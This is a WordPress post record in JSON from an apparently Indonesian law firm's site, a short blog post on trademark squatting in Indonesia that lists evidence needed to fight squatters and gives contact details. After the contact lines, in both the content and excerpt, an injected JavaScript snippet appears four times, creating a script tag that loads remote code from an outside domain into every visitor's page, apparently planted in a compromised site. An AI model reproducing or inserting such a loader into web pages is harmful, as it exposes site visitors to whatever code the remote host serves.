{"id":5650,"date":"2025-06-04T15:18:22","date_gmt":"2025-06-04T15:18:22","guid":{"rendered":"https:\/\/staging.affa.co.id\/?p=5650"},"modified":"2025-06-04T15:18:22","modified_gmt":"2025-06-04T15:18:22","slug":"trademark-squatting-in-indonesia-real-or-hype","status":"publish","type":"post","link":"https:\/\/staging.affa.co.id\/bhs\/2025\/06\/04\/trademark-squatting-in-indonesia-real-or-hype\/","title":{"rendered":"Trademark Squatting in Indonesia: Real or Hype?"},"content":{"rendered":"<p><strong>Spoiler: It\u2019s real \u2014 and surprisingly common.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Trademark squatting is not just a scary headline. It frequently occurs in Indonesia, particularly in fast-moving consumer sectors such as beauty, fashion, and F&amp;B. Both local and foreign parties rush to register brands that do not actually belong to them, hoping to profit when the rightful owner enters the market.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>But here is the good news:\u00a0<\/strong><\/p>\n<p><span style=\"font-weight: 400\">Most squatters lose \u2014 if challenged strategically and in time.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>However, this requires you to complete your \u201chomework\u201d before we can fight the squatter before the Court of Commerce in Indonesia, such as:<\/strong><\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">At least 5 Trademark registrations filed overseas before the squatter(s) filed the same Mark in Indonesia. The more registrations there is, the better.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Evidence of use overseas by your company.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">If possible, any leads or evidence that suggest the squatter(s) had past interactions with your company (i.e., asking for license or distribution rights).<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Indonesia\u2019s Trademark Law allows oppositions at the Trademark Office stage and cancellations based on bad faith at the Court of Commerce stage. However, cautions and preparations are needed before you can pursue your rights in this case.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Avoid the squat trap, email or book a free 15-minute call with us \u2014 let\u2019s make sure your Trademark stays yours!<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: trademark@staging.affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Spoiler: It\u2019s real \u2014 and surprisingly common. &nbsp; Trademark squatting is not just a scary headline. It frequently occurs in Indonesia, particularly in fast-moving consumer sectors such as beauty, fashion, and F&amp;B. Both local and foreign parties rush to register brands that do not actually belong to them, hoping to profit when the rightful owner enters the market. &nbsp; But here is the good news:\u00a0 Most squatters lose \u2014 if challenged strategically and in time. &nbsp; However, this requires you to complete your \u201chomework\u201d before we can fight the squatter before the Court of Commerce in Indonesia, such as: &nbsp; At least 5 Trademark registrations filed overseas before the squatter(s) filed the same Mark in Indonesia. The more registrations there is, the better. Evidence of use overseas by your company. If possible, any leads or evidence that suggest the squatter(s) had past interactions with your company (i.e., asking for license or distribution rights). &nbsp; Indonesia\u2019s Trademark Law allows oppositions at the Trademark Office stage and cancellations based on bad faith at the Court of Commerce stage. However, cautions and preparations are needed before you can pursue your rights in this case. &nbsp; Avoid the squat trap, email or book a free 15-minute call with us \u2014 let\u2019s make sure your Trademark stays yours! &nbsp; \ud83d\udce9 E-Mail : trademark@staging.affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5653,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[298,305,306,307,308,309,310,314,317,318,321,354,580],"class_list":["post-5650","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-timing-is-everything","tag-trademark","tag-indonesia","tag-pelanggaran-merek","tag-squatting"],"_links":{"self":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5650","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5650"}],"version-history":[{"count":0,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5650\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5653"}],"wp:attachment":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5650"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5650"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5650"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}